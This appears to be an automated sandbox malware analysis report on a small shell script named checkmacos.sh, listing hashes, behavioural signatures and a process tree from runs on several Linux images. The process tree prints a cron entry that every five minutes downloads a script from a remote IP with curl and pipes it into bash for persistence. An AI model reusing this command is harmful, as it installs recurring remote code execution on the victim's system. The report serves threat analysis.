Analysis
- max time kernel
0s - platform
debian-9_armhf - resource
debian9-armhf-20251231-en - resource tags
arch:armhfimage:debian9-armhf-20251231-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
13/01/2026, 16:20
Static task
static1
Behavioral task
behavioral1
Sample
checkmacos.sh
Resource
ubuntu1804-amd64-20251231-en
ubuntu-18.04-amd64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
checkmacos.sh
Resource
debian9-armhf-20251231-en
debian-9-armhf
4 signatures
150 seconds
Behavioral task
behavioral3
Sample
checkmacos.sh
Resource
debian9-mipsbe-20251231-en
debian-9-mips
4 signatures
150 seconds
Behavioral task
behavioral4
Sample
checkmacos.sh
Resource
debian9-mipsel-20251231-en
debian-9-mipsel
4 signatures
150 seconds
General
- Target checkmacos.sh
- Size 993B
- Sample260113-ttd75act8f
- SHA256 0ffa6dafa8c65e522224da55752e0b4b8b5fb386719a866247e40e788f5fa0d1
- MD5 7f36c1055b23492035234453bbc5628c
- SHA1 095a91f6d8d9c7b4eaa714b5ff8a9722b6eaabd0
- SHA512 f9faccea719a47f3acad05652cbc6e0df0419d3f321d525fa908902b149b376dd6d4b38493697287715d624f4c7bc04f294b740991827b59a8516058ccbf4b18
- MD5 SHA1 SHA512
Malware Config
Signatures
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.Pa4Sf9 crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pgrep -
description ioc Process File opened for reading /proc/2/cmdline pgrep File opened for reading /proc/7/status pgrep File opened for reading /proc/18/status pgrep File opened for reading /proc/328/status pgrep File opened for reading /proc/328/cmdline pgrep File opened for reading /proc/675/cmdline pgrep File opened for reading /proc/sys/kernel/osrelease pgrep File opened for reading /proc/19/cmdline pgrep File opened for reading /proc/25/cmdline pgrep File opened for reading /proc/309/cmdline pgrep File opened for reading /proc/577/status pgrep File opened for reading /proc/21/cmdline pgrep File opened for reading /proc/26/cmdline pgrep File opened for reading /proc/643/status pgrep File opened for reading /proc/9/cmdline pgrep File opened for reading /proc/159/status pgrep File opened for reading /proc/644/cmdline pgrep File opened for reading /proc/651/status pgrep File opened for reading /proc/4/cmdline pgrep File opened for reading /proc/16/cmdline pgrep File opened for reading /proc/110/status pgrep File opened for reading /proc/145/cmdline pgrep File opened for reading /proc/595/cmdline pgrep File opened for reading /proc/8/status pgrep File opened for reading /proc/11/cmdline pgrep File opened for reading /proc/5/status pgrep File opened for reading /proc/42/status pgrep File opened for reading /proc/587/status pgrep File opened for reading /proc/656/cmdline pgrep File opened for reading /proc/17/cmdline pgrep File opened for reading /proc/23/cmdline pgrep File opened for reading /proc/609/cmdline pgrep File opened for reading /proc/8/cmdline pgrep File opened for reading /proc/12/cmdline pgrep File opened for reading /proc/295/cmdline pgrep File opened for reading /proc/297/cmdline pgrep File opened for reading /proc/319/cmdline pgrep File opened for reading /proc/9/status pgrep File opened for reading /proc/13/cmdline pgrep File opened for reading /proc/22/status pgrep File opened for reading /proc/22/cmdline pgrep File opened for reading /proc/107/status pgrep File opened for reading /proc/595/status pgrep File opened for reading /proc/648/status pgrep File opened for reading /proc/filesystems crontab File opened for reading /proc/filesystems crontab File opened for reading /proc/2/status pgrep File opened for reading /proc/6/status pgrep File opened for reading /proc/23/status pgrep File opened for reading /proc/302/status pgrep File opened for reading /proc/654/cmdline pgrep File opened for reading /proc/675/status pgrep File opened for reading /proc/109/cmdline pgrep File opened for reading /proc/4/status pgrep File opened for reading /proc/24/cmdline pgrep File opened for reading /proc/29/cmdline pgrep File opened for reading /proc/41/status pgrep File opened for reading /proc/109/status pgrep File opened for reading /proc/110/cmdline pgrep File opened for reading /proc/302/cmdline pgrep File opened for reading /proc/6/cmdline pgrep File opened for reading /proc/20/status pgrep File opened for reading /proc/330/cmdline pgrep File opened for reading /proc/656/status pgrep
Processes
-
/tmp/checkmacos.sh/tmp/checkmacos.sh1⤵PID:654
-
/bin/grepgrep -Fq "*/5 * * * * /usr/bin/bash -c 'cd /tmp && bash <(curl -s http://149.28.129.194/checkmacos.sh)' &"2⤵PID:662
-
-
/usr/bin/crontabcrontab -l2⤵PID:661
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:671
-
-
/usr/bin/crontabcrontab -l2⤵
- Reads runtime system information
PID:673
-
-
/usr/bin/pgreppgrep -f macos2⤵
- Reads CPU attributes
- Reads runtime system information
PID:679
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /var/spool/cron/crontabs/tmp.Pa4Sf9
- Size 271B
- SHA256 a1b5d5510f858f5df7bb95094b1a8f68af76c7dcf6638ce1cea79777c589be6e
- MD5 a637760bb09c347e9dfbbf68d9b99c61
- SHA1 0060892c312e9710283e34a21f08edb79170b36e
- SHA512 ced0812a1ef27d59a0354e42115abf0c56020a94ffdf536ae7d803e32e44726b28284aac3c45d05ca24a918d7f75a6fbb304738bc16a94a58ac9279a3b8f1e31
- TLSH T1A5D095997B186430574C4B94735B46B99599906580DDBF60D0DC083C020736D7B66A31
- MD5 SHA1 SHA512 TLSH